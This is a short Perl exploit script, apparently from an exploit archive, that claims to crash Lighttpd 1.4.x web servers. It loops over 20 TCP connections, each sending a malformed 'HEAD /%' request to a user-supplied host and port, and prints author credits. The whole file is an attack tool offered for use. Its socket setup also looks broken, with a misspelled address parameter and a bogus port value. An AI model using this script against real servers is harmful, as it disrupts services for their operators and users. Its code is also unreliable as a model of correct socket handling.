#!/usr/bin/perl
#
#     Lighttpd Server 1.4.23 Remote Denial of Service
#
#AuThoR:GlaDiaT0R
#Mail: The_gl4di4t0r[AT]hotmail.com


use IO::Socket;
print "[+] Author : GlaDiaT0R\n";
print "[+] Mail   : the_gl4di4t0r[AT]hotmail[DOT.com\n";
print "[+] Title  : Lighttpd Server 1.4.x Remote Denial of Service\n";

    if (@ARGV < 1)
        {
         print "[-] Usage: <nice.pl> <host> <port>\n";
         print "[-] Exemple: nice.pl 127.0.0.1 80\n";
         exit;
        }


    $ip     = $ARGV[0];
    $port     = $ARGV[1];

print "[+] DOS...\n";


for($i=0;$i<20;$i++)
{
$socket = IO::Socket::INET->new( Port => "tcp", ipadress => "$ip", PeerPort => "$port") || die "[-] Failed\n";

    print $socket "HEAD /% HTTP/1.0\r\n\r\n";
}

print "[+] Done successfully!!\n";